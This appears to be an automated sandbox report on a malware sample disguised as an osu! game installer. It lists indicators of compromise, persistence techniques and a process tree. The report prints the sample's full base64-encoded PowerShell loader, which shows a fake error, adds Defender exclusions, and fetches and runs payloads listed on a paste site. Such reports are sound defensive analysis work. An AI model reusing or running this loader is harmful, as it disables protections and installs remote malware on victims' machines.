Key created	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B	osu!.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1276817940-128734381-631578427-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B\Blob = 0300000001000000140000008d4c4a23ba9ee84ea7348fa98cc6e65fbb69de7b140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d4040000000100000010000000ab9b109ce8934f11e7cd22ed550680da0f0000000100000030000000a768343c4aeaced5c72f3571938864983a67ed49031c1da2495863caf65fe507011f7f0e70b6cb40e5631c07721be03419000000010000001000000082218ffb91733e64136be5719f57c3a15c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa24b0000000100000044000000420032004600410046003700360039003200460044003900460046004200440036003400450044004500330031003700450034003200330033003400420041005f0000002000000001000000820500003082057e30820466a003020102021067def43ef17bdae24ff5940606d2c084300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c050003820101007ff25635b06d954a4e74af3ae26f018b87d33297edf840d2775311d7c7162ec69de64856be80a9f8bc78d2c86317ae8ced1631fa1f18c90ec7ee48799fc7c9b9bccc8815e36861d19f1d4b6181d7560463c2086926f0f0e52fdfc00a2ba905f4025a6a89d7b4844295e3ebf776205e35d9c0cd2508134c71388e87b0338491991e91f1ac9e3fa71d60812c364154a0e246060bac1bc799368c5ea10ba49ed9424624c5c55b81aeada0a0dc9f36b88dc21d15fa88ad8110391f44f02b9fdd10540c0734b136d114fd07023dff7255ab27d62c814171298d41f450571a7e6560afcbc5287698aeb3a853768be621526bea21d0840e494e8853da922ee71d0866d7	osu!.exe

NTFS ADS 2 IoCs

Processes:

msedge.exemsedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 881912.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\osu!install.exe:Zone.Identifier	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1480 schtasks.exe

pid	process
1480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exemsedge.exemsedge.exemsedge.exeidentity_helper.exemsedge.exerngdwwxv.c5a0.exepowershell.exerngdwwxv.c5a1.exeopenwith.exemsedge.exerngdwwxv.c5a2.exepowershell.exedialer.exe

pid	process
4340	powershell.exe
4340	powershell.exe
3144	powershell.exe
3144	powershell.exe
3152	msedge.exe
3152	msedge.exe
1868	msedge.exe
1868	msedge.exe
1212	msedge.exe
1212	msedge.exe
748	identity_helper.exe
748	identity_helper.exe
4876	msedge.exe
4876	msedge.exe
4936	rngdwwxv.c5a0.exe
4936	rngdwwxv.c5a0.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4668	rngdwwxv.c5a1.exe
4668	rngdwwxv.c5a1.exe
444	openwith.exe
444	openwith.exe
444	openwith.exe
444	openwith.exe
5404	msedge.exe
5404	msedge.exe
1180	rngdwwxv.c5a2.exe
248	powershell.exe
248	powershell.exe
248	powershell.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
1180	rngdwwxv.c5a2.exe
5456	dialer.exe
5456	dialer.exe
1180	rngdwwxv.c5a2.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe
5456	dialer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3312 Explorer.EXE

pid	process
3312	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

Processes:

msedge.exe

pid	process
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exerngdwwxv.c5a0.exepowershell.exeSteam.exepowershell.exerngdwwxv.c5a2.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	4936	rngdwwxv.c5a0.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeDebugPrivilege	248	powershell.exe
Token: SeDebugPrivilege	1180	rngdwwxv.c5a2.exe
Token: SeDebugPrivilege	5456	dialer.exe
Token: SeShutdownPrivilege	5628	powercfg.exe
Token: SeCreatePagefilePrivilege	5628	powercfg.exe
Token: SeShutdownPrivilege	2792	powercfg.exe
Token: SeCreatePagefilePrivilege	2792	powercfg.exe
Token: SeShutdownPrivilege	5492	powercfg.exe
Token: SeCreatePagefilePrivilege	5492	powercfg.exe
Token: SeShutdownPrivilege	4552	powercfg.exe
Token: SeCreatePagefilePrivilege	4552	powercfg.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	3312	Explorer.EXE
Token: SeCreatePagefilePrivilege	3312	Explorer.EXE
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe
Token: SeCreatePagefilePrivilege	5804	Steam.exe
Token: SeShutdownPrivilege	5804	Steam.exe

Suspicious use of FindShellTrayWindow 40 IoCs

Processes:

msedge.exe

pid	process
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe
3152	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

msedge.exe

pid process

3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
3152 msedge.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

MiniSearchHost.exeExplorer.EXEOpenWith.exeOpenWith.exeOpenWith.exe

pid process

1372 MiniSearchHost.exe
3312 Explorer.EXE
3312 Explorer.EXE
3312 Explorer.EXE
488 OpenWith.exe
1832 OpenWith.exe
712 OpenWith.exe

pid	process
1372	MiniSearchHost.exe
3312	Explorer.EXE
3312	Explorer.EXE
3312	Explorer.EXE
488	OpenWith.exe
1832	OpenWith.exe
712	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Freedom.exepowershell.exemsedge.exe

description	pid	process	target process
PID 2996 wrote to memory of 4340	2996	Freedom.exe	powershell.exe
PID 2996 wrote to memory of 4340	2996	Freedom.exe	powershell.exe
PID 4340 wrote to memory of 3144	4340	powershell.exe	powershell.exe
PID 4340 wrote to memory of 3144	4340	powershell.exe	powershell.exe
PID 3152 wrote to memory of 2316	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 2316	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 3496	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1868	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1868	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe
PID 3152 wrote to memory of 1960	3152	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:436

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1484

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:3028

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1784

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2580

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3068

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:800

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3312

C:\Users\Admin\AppData\Local\Temp\Freedom\Freedom.exe
"C:\Users\Admin\AppData\Local\Temp\Freedom\Freedom.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:2996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3144

C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a0.exe
"C:\Users\Admin\AppData\Roaming\rngdwwxv.c5a0.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4936

C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe
"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:5804

C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe
"C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Steam" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1732,i,11278936719944461836,1048867171711625382,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1724 /prefetch:2
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4436

C:\Windows\system32\cscript.exe
cscript.exe
6⤵
PID:3268

C:\Users\Admin\AppData\Local\Programs\Steam\Steam.exe
